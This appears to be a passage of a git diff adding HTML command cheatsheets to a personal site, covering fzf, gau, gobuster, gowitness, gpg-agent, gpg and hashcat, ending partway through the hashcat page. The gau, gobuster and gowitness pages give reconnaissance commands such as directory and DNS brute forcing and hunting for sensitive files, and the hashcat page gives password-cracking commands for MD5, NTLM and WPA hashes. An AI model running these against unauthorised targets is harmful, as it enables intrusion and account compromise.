      • Alt+W - Toggle preview wrap
      • +
      +
        +
      • Alt+? - Toggle help
      • +
      +
      +

      Search Patterns

      +
        +
      • `word` - Match lines containing word
      • +
      +
        +
      • `'word` - Exact match (disables fuzzy matching)
      • +
      +
        +
      • `^word` - Prefix match (starts with word)
      • +
      +
        +
      • `word$` - Suffix match (ends with word)
      • +
      +
        +
      • `!word` - Negation (exclude lines with word)
      • +
      +
        +
      • `'word1 | 'word2` - OR operator
      • +
      +
        +
      • `word1 word2` - AND operator (both must match)
      • +
      +
      +

      Preview Window

      +
        +
      • fzf --preview='cat {}' - Preview file contents
      • +
      +
        +
      • fzf --preview='head -100 {}' - Preview first 100 lines
      • +
      +
        +
      • fzf --preview='ls -lah {}' - Preview file details
      • +
      +
        +
      • fzf --preview-window=right:40% - Custom preview window size
      • +
      +
        +
      • fzf --preview-window=hidden - Hide preview initially
      • +
      +
        +
      • ? - Toggle preview (in fzf)
      • +
      +
      +

      Common Use Cases

      +

      File Navigation

      +
        +
      • fzf - Find files in current directory
      • +
      +
        +
      • find . -type f | fzf - Find all files recursively
      • +
      +
        +
      • fzf --type f - Files only
      • +
      +
        +
      • fzf --type d - Directories only
      • +
      +

      Command History

      +
        +
      • history | fzf - Search command history
      • +
      +
        +
      • Ctrl+R - fzf search through history (if configured)
      • +
      +

      Process Selection

      +
        +
      • ps aux | fzf - Search and select process
      • +
      +
        +
      • ps aux | fzf | awk '{print $2}' - Get PID from selection
      • +
      +

      Git Operations

      +
        +
      • git log --oneline | fzf - Browse git commits
      • +
      +
        +
      • git branch | fzf - Select branch
      • +
      +
        +
      • git stash list | fzf - Select stash
      • +
      +
      +

      Shell Integration

      +

      Bash/Zsh Key Bindings

      +

      Add to `~/.bashrc` or `~/.zshrc`:

      +
      # Use fzf for Ctrl+R history search
      +if command -v fzf >/dev/null 2>&1; then
      +    source /usr/share/fzf/shell/key-bindings.bash  # or .zsh
      +fi
      +

      After setup:

      +
        +
      • Ctrl+R - Search command history
      • +
      +
        +
      • Ctrl+T - Find and insert file path
      • +
      +
        +
      • Alt+C - Change directory (cd)
      • +
      +

      Fish Shell

      +
      fzf_key_bindings
      +
      +

      Useful Aliases

      +

      Add to your shell config:

      +
      # File operations
      +alias fcd='cd $(find . -type d | fzf)'
      +alias fvim='vim $(fzf)'
      +alias fcat='cat $(fzf)'
      +
      +# Git with fzf
      +alias fco='git checkout $(git branch | fzf | sed "s/^..//")'
      +
      +# Process kill
      +alias fkill='kill -9 $(ps aux | fzf | awk "{print \$2}")'
      +
      +

      Advanced Options

      +
        +
      • fzf --height 40% - Set height
      • +
      +
        +
      • fzf --reverse - Reverse layout (top to bottom)
      • +
      +
        +
      • fzf --border - Show border
      • +
      +
        +
      • fzf --header='Select file:' - Custom header
      • +
      +
        +
      • fzf --multi - Enable multi-select
      • +
      +
        +
      • fzf --bind='ctrl-a:select-all' - Custom key bindings
      • +
      +
        +
      • fzf --exact - Exact match mode
      • +
      +
        +
      • fzf --extended - Extended search mode (default)
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • `~/.fzfrc` - fzf configuration
      • +
      +
        +
      • `~/.fzf.bash` - Bash integration (if installed)
      • +
      +
        +
      • `~/.fzf.zsh` - Zsh integration (if installed)
      • +
      +
        +
      • `/usr/share/fzf/` - Default installation directory
      • +
      +

      Example Configuration

      +
      # fzf options
      +export FZF_DEFAULT_OPTS='--height 40% --reverse --border'
      +export FZF_DEFAULT_COMMAND='fd --type f'  # Use fd instead of find
      +export FZF_CTRL_T_COMMAND='fd --type f'
      +export FZF_CTRL_T_OPTS='--preview "bat --color=always --style=numbers {}"'
      +
      +

      Tips

      +
        +
      • Use single quotes `'word'` for exact matches when fuzzy matching fails
      • +
      +
        +
      • Combine with other tools using pipes: `find . | fzf | xargs vim`
      • +
      +
        +
      • Use preview window to see file contents before selecting
      • +
      +
        +
      • Configure shell bindings for Ctrl+R, Ctrl+T, Alt+C
      • +
      +
        +
      • Use multi-select (Tab) to select multiple files
      • +
      +
        +
      • Install ripgrep or fd for faster file finding with fzf
      • +
      +
        +
      • Customize colors and layout with FZF_DEFAULT_OPTS
      • +
      +
        +
      • Use fzf in scripts for interactive selection
      • +
      +
        +
      • Combine with vim (fzf.vim plugin) for file navigation
      • +
      +
        +
      • Great for browsing logs: `tail -f /var/log/syslog | fzf`
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/gau.html b/cheatsheets/gau.html new file mode 100644 index 0000000..338184b --- /dev/null +++ b/cheatsheets/gau.html @@ -0,0 +1,209 @@ + + + + + + + + + + + gau Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      gau Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      gau (Get All URLs) fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, Common Crawl, and URLScan for a given domain. Great for discovering endpoints and parameters.

      +
      +

      Basic Usage

      +
        +
      • gau <domain> - Fetch URLs for domain
      • +
      +
        +
      • echo "example.com" | gau - Pipe domain
      • +
      +
        +
      • cat domains.txt | gau - Multiple domains
      • +
      +
      +

      Options

      +
        +
      • --blacklist - Comma-separated list of extensions to skip
      • +
      +
        +
      • --fc - Filter by status code (comma-separated)
      • +
      +
        +
      • --from - Fetch URLs from date (YYYYMM)
      • +
      +
        +
      • --ft - Filter to status code (show only these)
      • +
      +
        +
      • --fp - Remove query strings
      • +
      +
        +
      • --json - Output as JSON
      • +
      +
        +
      • --mc - Match status code (comma-separated)
      • +
      +
        +
      • --mt - Match MIME type
      • +
      +
        +
      • --o - Output file
      • +
      +
        +
      • --providers - Comma-separated providers (wayback, otx, commoncrawl, urlscan)
      • +
      +
        +
      • --retries - Number of retries
      • +
      +
        +
      • --subs - Include subdomains
      • +
      +
        +
      • --threads - Number of threads
      • +
      +
        +
      • --to - Fetch URLs to date (YYYYMM)
      • +
      +
        +
      • --verbose - Verbose output
      • +
      +
      +

      Providers

      +
        +
      • wayback - Wayback Machine (web.archive.org)
      • +
      • otx - AlienVault Open Threat Exchange
      • +
      • commoncrawl - Common Crawl
      • +
      • urlscan - URLScan.io
      • +
      +
      +

      Common Examples

      +

      Basic Fetch

      +
      gau example.com
      +

      Get all known URLs.

      +

      Include Subdomains

      +
      gau --subs example.com
      +

      Include all subdomain URLs.

      +

      Save to File

      +
      gau example.com --o urls.txt
      +

      Save results to file.

      +

      Exclude Extensions

      +
      gau --blacklist png,jpg,gif,css,js example.com
      +

      Skip static assets.

      +

      Filter Date Range

      +
      gau --from 202301 --to 202312 example.com
      +

      URLs from 2023 only.

      +

      Specific Providers

      +
      gau --providers wayback,otx example.com
      +

      Use only Wayback and OTX.

      +

      JSON Output

      +
      gau --json example.com
      +

      Output in JSON format.

      +

      Multiple Domains

      +
      cat domains.txt | gau --threads 5
      +

      Process multiple domains.

      +

      Remove Query Strings

      +
      gau --fp example.com | sort -u
      +

      Unique paths without parameters.

      +
      +

      Pipeline Examples

      +

      Find Parameters

      +
      gau example.com | grep "=" | sort -u
      +

      Find URLs with parameters.

      +

      Find JS Files

      +
      gau example.com | grep "\.js$" | sort -u
      +

      Extract JavaScript files.

      +

      Find API Endpoints

      +
      gau example.com | grep -E "(api|v1|v2)" | sort -u
      +

      Find potential API endpoints.

      +

      With httpx

      +
      gau example.com | httpx -silent -status-code
      +

      Check which URLs are live.

      +

      Find Interesting Files

      +
      gau example.com | grep -E "\.(json|xml|config|sql|backup|bak)$"
      +

      Find potentially sensitive files.

      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.gau.toml - Configuration file
      • +
      +

      Example Config

      +
      threads = 5
      +retries = 3
      +blacklist = ["png", "jpg", "gif"]
      +providers = ["wayback", "otx", "urlscan"]
      +
      +

      Tips

      +
        +
      • Use --blacklist to filter out static files
      • +
      +
        +
      • Combine with grep to find interesting patterns
      • +
      +
        +
      • Pipe to httpx to check live URLs
      • +
      +
        +
      • Look for parameters for potential injection points
      • +
      +
        +
      • Historical URLs may reveal removed functionality
      • +
      +
        +
      • Great for bug bounty recon
      • +
      +
        +
      • Combine with waybackurls for comprehensive coverage
      • +
      +
        +
      • Check JS files for API keys and secrets
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/gobuster.html b/cheatsheets/gobuster.html new file mode 100644 index 0000000..09f581b --- /dev/null +++ b/cheatsheets/gobuster.html @@ -0,0 +1,262 @@ + + + + + + + + + + + gobuster Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      gobuster Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Gobuster is a tool for brute-forcing URIs (directories and files), DNS subdomains, virtual host names, and S3 buckets. Written in Go for speed.

      +
      +

      Modes

      +
        +
      • gobuster dir - Directory/file brute forcing
      • +
      +
        +
      • gobuster dns - DNS subdomain brute forcing
      • +
      +
        +
      • gobuster vhost - Virtual host brute forcing
      • +
      +
        +
      • gobuster s3 - S3 bucket brute forcing
      • +
      +
        +
      • gobuster fuzz - Fuzzing mode
      • +
      +
      +

      Directory Mode (dir)

      +

      Basic Usage

      +
        +
      • gobuster dir -u <url> -w <wordlist> - Basic directory scan
      • +
      +

      Options

      +
        +
      • -u, --url - Target URL
      • +
      +
        +
      • -w, --wordlist - Wordlist file
      • +
      +
        +
      • -x, --extensions - File extensions (php,txt,html)
      • +
      +
        +
      • -s, --status-codes - Show status codes (default 200,204,301,302,307,401,403)
      • +
      +
        +
      • -b, --status-codes-blacklist - Hide status codes
      • +
      +
        +
      • -e, --expanded - Print full URLs
      • +
      +
        +
      • -r, --follow-redirect - Follow redirects
      • +
      +
        +
      • -k, --no-tls-validation - Skip TLS verification
      • +
      +
        +
      • -n, --no-status - Don't print status codes
      • +
      +
        +
      • -f, --add-slash - Append / to each request
      • +
      +
      +

      DNS Mode (dns)

      +

      Basic Usage

      +
        +
      • gobuster dns -d <domain> -w <wordlist> - DNS enumeration
      • +
      +

      Options

      +
        +
      • -d, --domain - Target domain
      • +
      +
        +
      • -w, --wordlist - Wordlist file
      • +
      +
        +
      • -r, --resolver - DNS resolver
      • +
      +
        +
      • -c, --show-cname - Show CNAME records
      • +
      +
        +
      • -i, --show-ips - Show IP addresses
      • +
      +
        +
      • --wildcard - Force wildcard detection
      • +
      +
      +

      VHost Mode (vhost)

      +

      Basic Usage

      +
        +
      • gobuster vhost -u <url> -w <wordlist> - Virtual host discovery
      • +
      +

      Options

      +
        +
      • -u, --url - Target URL
      • +
      +
        +
      • -w, --wordlist - Wordlist file
      • +
      +
        +
      • --append-domain - Append domain to wordlist entries
      • +
      +
      +

      Global Options

      +
        +
      • -t, --threads - Concurrent threads (default 10)
      • +
      +
        +
      • -o, --output - Output file
      • +
      +
        +
      • -q, --quiet - Quiet mode (no banner)
      • +
      +
        +
      • -z, --no-progress - Don't show progress
      • +
      +
        +
      • --delay - Delay between requests
      • +
      +
        +
      • --timeout - Request timeout (default 10s)
      • +
      +
        +
      • -v, --verbose - Verbose output
      • +
      +
      +

      HTTP Options

      +
        +
      • -a, --useragent - Custom User-Agent
      • +
      +
        +
      • -c, --cookies - Cookies to use
      • +
      +
        +
      • -H, --headers - Custom headers
      • +
      +
        +
      • -U, --username - Basic auth username
      • +
      +
        +
      • -P, --password - Basic auth password
      • +
      +
        +
      • -p, --proxy - Proxy URL
      • +
      +
      +

      Common Examples

      +

      Basic Directory Scan

      +
      gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
      +

      Find directories and files.

      +

      With Extensions

      +
      gobuster dir -u http://example.com -w wordlist.txt -x php,html,txt
      +

      Search for specific file types.

      +

      Fast Scan

      +
      gobuster dir -u http://example.com -w wordlist.txt -t 50
      +

      50 concurrent threads.

      +

      Save Output

      +
      gobuster dir -u http://example.com -w wordlist.txt -o results.txt
      +

      Save results to file.

      +

      Hide Status Codes

      +
      gobuster dir -u http://example.com -w wordlist.txt -b 404,403
      +

      Hide 404 and 403 responses.

      +

      With Auth

      +
      gobuster dir -u http://example.com -w wordlist.txt -U admin -P password
      +

      Basic authentication.

      +

      DNS Subdomain Scan

      +
      gobuster dns -d example.com -w subdomains.txt -i
      +

      Find subdomains with IPs.

      +

      Virtual Host Discovery

      +
      gobuster vhost -u http://example.com -w vhosts.txt
      +

      Find virtual hosts.

      +

      Through Proxy

      +
      gobuster dir -u http://example.com -w wordlist.txt -p http://127.0.0.1:8080
      +

      Route through Burp Suite.

      +
      +

      Common Wordlists

      +
        +
      • /usr/share/wordlists/dirb/common.txt
      • +
      • /usr/share/wordlists/dirb/big.txt
      • +
      • /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      • +
      • /usr/share/seclists/Discovery/Web-Content/
      • +
      • /usr/share/seclists/Discovery/DNS/
      • +
      +
      +

      Tips

      +
        +
      • Use -x to append file extensions to each word
      • +
      +
        +
      • Increase threads (-t) for faster scans
      • +
      +
        +
      • Use -k when target has self-signed certs
      • +
      +
        +
      • Blacklist common error codes with -b
      • +
      +
        +
      • Route through Burp for detailed analysis
      • +
      +
        +
      • Combine with nikto and nuclei for full coverage
      • +
      +
        +
      • Use SecLists for comprehensive wordlists
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/gowitness.html b/cheatsheets/gowitness.html new file mode 100644 index 0000000..854cf58 --- /dev/null +++ b/cheatsheets/gowitness.html @@ -0,0 +1,236 @@ + + + + + + + + + + + gowitness Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      gowitness Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Gowitness is a website screenshot utility written in Go. It uses Chrome Headless to generate screenshots, storing results in a SQLite database with an optional web UI for browsing.

      +
      +

      Commands

      +
        +
      • gowitness single - Screenshot single URL
      • +
      +
        +
      • gowitness file - Screenshot URLs from file
      • +
      +
        +
      • gowitness nmap - Parse nmap XML for targets
      • +
      +
        +
      • gowitness scan - Scan and screenshot CIDR range
      • +
      +
        +
      • gowitness server - Start web report server
      • +
      +
        +
      • gowitness report - Generate report
      • +
      +
      +

      Single URL

      +
        +
      • gowitness single https://example.com - Screenshot single URL
      • +
      +
        +
      • gowitness single -u https://example.com - Explicit URL flag
      • +
      +
      +

      File Input

      +
        +
      • gowitness file -f urls.txt - Screenshot from file
      • +
      +
        +
      • gowitness file -f urls.txt -t 10 - With 10 threads
      • +
      +
      +

      Global Options

      +
        +
      • -t, --threads - Concurrent threads (default 4)
      • +
      +
        +
      • -P, --screenshot-path - Screenshot save location
      • +
      +
        +
      • -D, --db-path - Database file path
      • +
      +
        +
      • -X, --resolution - Screenshot resolution (e.g., 1920x1080)
      • +
      +
        +
      • -F, --fullpage - Capture full page screenshot
      • +
      +
        +
      • --timeout - Page timeout in seconds
      • +
      +
        +
      • --delay - Delay before screenshot (seconds)
      • +
      +
        +
      • --user-agent - Custom User-Agent
      • +
      +
        +
      • --proxy - HTTP/SOCKS5 proxy
      • +
      +
        +
      • --chrome-path - Path to Chrome binary
      • +
      +
        +
      • --disable-db - Don't save to database
      • +
      +
      +

      Scan Command

      +
        +
      • gowitness scan --cidr 192.168.1.0/24 - Scan CIDR range
      • +
      +
        +
      • --cidr - CIDR range to scan
      • +
      +
        +
      • --ports - Ports to check (comma separated)
      • +
      +
        +
      • --skip-https - Skip HTTPS checks
      • +
      +
        +
      • --skip-http - Skip HTTP checks
      • +
      +
      +

      Nmap Integration

      +
        +
      • gowitness nmap -f scan.xml - Parse nmap XML
      • +
      +
        +
      • --open - Only use open ports
      • +
      +
        +
      • --service-contains - Filter by service name
      • +
      +
      +

      Report Server

      +
        +
      • gowitness server - Start web server
      • +
      +
        +
      • --address - Listen address (default 127.0.0.1:7171)
      • +
      +
      +

      Common Examples

      +

      Single Screenshot

      +
      gowitness single https://example.com
      +

      Screenshot single URL.

      +

      From URL List

      +
      gowitness file -f urls.txt -t 10
      +

      Screenshot URLs from file with 10 threads.

      +

      Full Page Screenshots

      +
      gowitness file -f urls.txt -F
      +

      Capture full page (scrolling).

      +

      Custom Resolution

      +
      gowitness file -f urls.txt -X 1920x1080
      +

      Set viewport resolution.

      +

      CIDR Scan

      +
      gowitness scan --cidr 192.168.1.0/24 --ports 80,443,8080
      +

      Scan network range for web servers.

      +

      From Nmap Results

      +
      gowitness nmap -f nmap_scan.xml --open
      +

      Screenshot from nmap results.

      +

      Start Report Server

      +
      gowitness server
      +

      Browse results at http://127.0.0.1:7171

      +

      With Delay

      +
      gowitness file -f urls.txt --delay 3
      +

      Wait 3 seconds before screenshot.

      +

      Through Proxy

      +
      gowitness file -f urls.txt --proxy http://127.0.0.1:8080
      +

      Route through Burp Suite.

      +

      Pipeline

      +
      subfinder -d example.com -silent | httpx -silent > urls.txt && gowitness file -f urls.txt
      +

      Full recon pipeline.

      +
      +

      Database

      +

      Results stored in SQLite database (default: gowitness.sqlite3)

      +
        +
      • Contains URLs, response codes, titles, headers
      • +
      • Screenshots linked by URL hash
      • +
      • Queryable for reporting
      • +
      +
      +

      Tips

      +
        +
      • Use --fullpage for complete page capture
      • +
      +
        +
      • Increase threads for large URL lists
      • +
      +
        +
      • Use the web server for easy browsing
      • +
      +
        +
      • Add delay for JavaScript-heavy sites
      • +
      +
        +
      • Combine with httpx to filter live hosts first
      • +
      +
        +
      • Database enables easy querying and reporting
      • +
      +
        +
      • Similar to aquatone but with SQLite backend
      • +
      +
        +
      • Requires Chrome/Chromium installed
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/gpg-agent.html b/cheatsheets/gpg-agent.html new file mode 100644 index 0000000..24a3403 --- /dev/null +++ b/cheatsheets/gpg-agent.html @@ -0,0 +1,144 @@ + + + + + + + + + + + gpg-agent Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      gpg-agent Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      gpg-agent is a daemon that manages GPG private keys and passphrases. It caches passphrases so you don't have to enter them repeatedly, and can use hardware tokens or pinentry programs for secure passphrase entry.

      +
      +

      Basic Usage

      +
        +
      • gpg-agent --daemon - Start the agent daemon
      • +
      +
        +
      • gpg-agent --kill - Stop the agent
      • +
      +
        +
      • gpg-agent --version - Show version
      • +
      +
      +

      Configuration

      +
        +
      • ~/.gnupg/gpg-agent.conf - Main configuration file
      • +
      +
        +
      • default-cache-ttl 600 - Cache passphrase for 10 minutes
      • +
      +
        +
      • max-cache-ttl 7200 - Maximum cache time (2 hours)
      • +
      +
        +
      • pinentry-program /usr/bin/pinentry - Specify pinentry program
      • +
      +
        +
      • enable-ssh-support - Enable SSH agent emulation
      • +
      +
      +

      SSH Agent Emulation

      +
        +
      • enable-ssh-support in gpg-agent.conf - Enable SSH support
      • +
      +
        +
      • ssh-add -l - List SSH keys (when using gpg-agent)
      • +
      +
        +
      • export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket) - Set SSH socket
      • +
      +
        +
      • Add to ~/.bashrc or ~/.zshrc for persistent SSH support
      • +
      +
      +

      Reload Configuration

      +
        +
      • gpgconf --kill gpg-agent - Kill agent
      • +
      +
        +
      • gpgconf --launch gpg-agent - Restart agent
      • +
      +
        +
      • gpg-connect-agent reloadagent /bye - Reload without restart
      • +
      +
      +

      Common Examples

      +

      Start Agent

      +
      eval $(gpg-agent --daemon)
      +

      Start agent and set environment variables.

      +

      Check Agent Status

      +
      gpg-connect-agent /bye
      +

      Test if agent is running.

      +

      Clear Passphrase Cache

      +
      gpg-connect-agent reloadagent /bye
      +

      Clear cached passphrases.

      +

      SSH Support Setup

      +
      echo "enable-ssh-support" >> ~/.gnupg/gpg-agent.conf
      +gpgconf --kill gpg-agent
      +eval $(gpg-agent --daemon)
      +

      Enable SSH agent emulation.

      +
      +

      Tips

      +
        +
      • gpg-agent usually starts automatically when needed
      • +
      +
        +
      • Use pinentry for secure passphrase entry (GUI or TTY)
      • +
      +
        +
      • Set reasonable cache TTLs for security vs convenience
      • +
      +
        +
      • SSH agent emulation lets you use GPG keys for SSH
      • +
      +
        +
      • gpgconf is the modern way to manage gpg-agent
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/gpg.html b/cheatsheets/gpg.html new file mode 100644 index 0000000..8784407 --- /dev/null +++ b/cheatsheets/gpg.html @@ -0,0 +1,99 @@ + + + + + + + + + + + gpg Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + ← Back to Cheatsheets + +

      gpg Cheatsheet

      +
      +
      +
      +
      +

      + Quick reference for gpg (GNU Privacy Guard), used for encryption, signing, and key management following the OpenPGP standard. +

      + +

      Key management

      +
        +
      • gpg --full-generate-key – interactive key generation.
      • +
      • gpg --list-keys / gpg --list-secret-keys – list public/secret keys.
      • +
      • gpg --delete-key <ID> – delete a public key.
      • +
      • gpg --delete-secret-key <ID> – delete a secret key.
      • +
      + +

      Export / import keys

      +
        +
      • gpg --export -a <ID> > public.asc – export public key (ASCII armored).
      • +
      • gpg --export-secret-keys -a <ID> > secret.asc – export secret key (backup only).
      • +
      • gpg --import public.asc – import a key.
      • +
      • gpg --recv-key <ID> – fetch from keyserver (if configured).
      • +
      + +

      Encrypt / decrypt

      +
        +
      • gpg -e -r <recipient> file – encrypt to recipient’s key.
      • +
      • gpg -d file.gpg – decrypt a file.
      • +
      • echo "secret" | gpg -e -r <recipient> > secret.txt.gpg – encrypt from stdin.
      • +
      + +

      Signing

      +
        +
      • gpg -s file – create a binary signature.
      • +
      • gpg -sa file – create an ASCII-armored signature.
      • +
      • gpg --clear-sign file – cleartext sign (visible content + signature block).
      • +
      • gpg --verify file.sig file – verify a detached signature.
      • +
      + +

      Trust and IDs

      +
        +
      • gpg --edit-key <ID> – manage key, set trust, add UIDs, etc.
      • +
      • gpg --fingerprint <ID> – show key fingerprint.
      • +
      • Verify fingerprints out-of-band (in person, chat, etc.) before trusting.
      • +
      + +

      Tips

      +
        +
      • Use a modern key type (ed25519 or cv25519) where available.
      • +
      • Back up your secret key and revoke certificate somewhere safe.
      • +
      • Combine gpg with pass and git for a simple password manager.
      • +
      +
      +
      + + + + + + diff --git a/cheatsheets/hashcat.html b/cheatsheets/hashcat.html new file mode 100644 index 0000000..335a111 --- /dev/null +++ b/cheatsheets/hashcat.html @@ -0,0 +1,310 @@ + + + + + + + + + + + hashcat Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      hashcat Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      hashcat is an advanced password recovery tool featuring GPU acceleration and support for over 300 hash types. It's the fastest and most advanced password cracking tool available.

      +
      +

      Basic Syntax

      +
        +
      • hashcat -m <hash_type> <hash_file> <wordlist> - Basic attack
      • +
      +
        +
      • hashcat -m 0 hash.txt wordlist.txt - MD5 attack
      • +
      +
        +
      • hashcat -m 1000 hash.txt wordlist.txt - NTLM attack
      • +
      +
        +
      • hashcat -m 22000 hash.hc22000 wordlist.txt - WPA/WPA2 attack
      • +
      +
      +

      Common Hash Types

      +
        +
      • -m 0 - MD5
      • +
      +
        +
      • -m 100 - SHA1
      • +
      +
        +
      • -m 1000 - NTLM
      • +
      +
        +
      • -m 1800 - sha512crypt $6$ (Linux)
      • +
      +
        +
      • -m 22000 - WPA/WPA2 PMKID+EAPOL (hc22000 format)
      • +
      +
        +
      • -m 16800 - WPA/WPA2 PMKID
      • +
      +
        +
      • -m 2500 - WPA/WPA2 handshake
      • +
      +
        +
      • -m 500 - md5crypt $1$ (Linux)
      • +
      +
        +
      • -m 3200 - bcrypt $2$
      • +
      +
        +
      • -m 17210 - sha256crypt $5$ (Linux)
      • +
      +
        +
      • -m 1410 - sha256($salt.$pass)
      • +
      +
        +
      • -m 13100 - Kerberos 5 TGS-REP
      • +
      +
      +

      Attack Modes

      +
        +
      • -a 0 - Dictionary attack (default)
      • +
      +
        +
      • -a 1 - Combinator attack
      • +
      +
        +
      • -a 3 - Brute-force/Mask attack
      • +
      +
        +
      • -a 6 - Hybrid wordlist + mask
      • +
      +
        +
      • -a 7 - Hybrid mask + wordlist
      • +
      +
      +

      Brute-Force Masks

      +
        +
      • -a 3 ?l?l?l?l?l?l?l?l - 8 lowercase letters
      • +
      +
        +
      • -a 3 ?u?u?u?u - 4 uppercase letters
      • +
      +
        +
      • -a 3 ?d?d?d?d - 4 digits
      • +
      +
        +
      • -a 3 ?l?l?d?d - 2 letters + 2 digits
      • +
      +
        +
      • -a 3 ?a?a?a?a - 4 characters (any)
      • +
      +
        +
      • -a 3 password?d?d?d - "password" + 3 digits
      • +
      +

      Mask Characters

      +
        +
      • ?l - Lowercase letters (a-z)
      • +
      +
        +
      • ?u - Uppercase letters (A-Z)
      • +
      +
        +
      • ?d - Digits (0-9)
      • +
      +
        +
      • ?s - Special characters (!@#$%^&*...)
      • +
      +
        +
      • ?a - All characters (?l?u?d?s)
      • +
      +
        +
      • ?b - Binary (0x00-0xff)
      • +
      +
        +
      • ?h - Lowercase hex (0-9a-f)
      • +
      +
        +
      • ?H - Uppercase hex (0-9A-F)
      • +
      +
      +

      Performance Options

      +
        +
      • -w <1-4> - Workload profile (1=low, 2=default, 3=high, 4=insane)
      • +
      +
        +
      • -O - Optimized kernels (may reduce supported password lengths)
      • +
      +
        +
      • --force - Ignore warnings
      • +
      +
        +
      • --hwmon-temp-abort=<temp> - Abort if GPU temp exceeds (Celsius)
      • +
      +
        +
      • --hwmon-disable - Disable hardware monitoring
      • +
      +
      +

      Output Options

      +
        +
      • -o <file> - Output file for recovered hashes
      • +
      +
        +
      • --outfile-format=<num> - Output format (1=hash:pass, 2=hex, 3=hash[:salt]:pass)
      • +
      +
        +
      • --show - Show cracked hashes
      • +
      +
        +
      • --left - Show uncracked hashes
      • +
      +
        +
      • --username - Show username (for formats with username)
      • +
      +
        +
      • --remove - Remove cracked hashes from hash file
      • +
      +
        +
      • --potfile-path=<file> - Path to potfile
      • +
      +
        +
      • --outfile-autohex-disable - Disable hex encoding in output
      • +
      +
      +

      Session Options

      +
        +
      • --session=<name> - Session name
      • +
      +
        +
      • --restore - Restore session
      • +
      +
        +
      • --status - Enable status update screen
      • +
      +
        +
      • --status-timer=<sec> - Status update interval (default 10)
      • +
      +
        +
      • --stdout - Output to stdout (no status screen)
      • +
      +
        +
      • --quiet - Suppress output
      • +
      +
      +

      Rules and Masks

      +
        +
      • -r <file> - Rules file
      • +
      +
        +
      • -g <num> - Generate num random rules
      • +
      +
        +
      • --rules-file=<file> - Rules file
      • +
      +
      +

      Common Examples

      +

      MD5 Dictionary Attack

      +
      hashcat -m 0 hash.txt wordlist.txt
      +

      WPA/WPA2 Attack

      +
      hashcat -m 22000 hash.hc22000 wordlist.txt
      +

      NTLM Attack

      +
      hashcat -m 1000 ntlm_hash.txt wordlist.txt
      +

      Brute Force 8 Lowercase

      +
      hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l
      +

      Brute Force 4-8 Digits

      +
      hashcat -m 0 hash.txt -a 3 -i --increment-min=4 --increment-max=8 ?d?d?d?d
      +

      Combinator Attack

      +
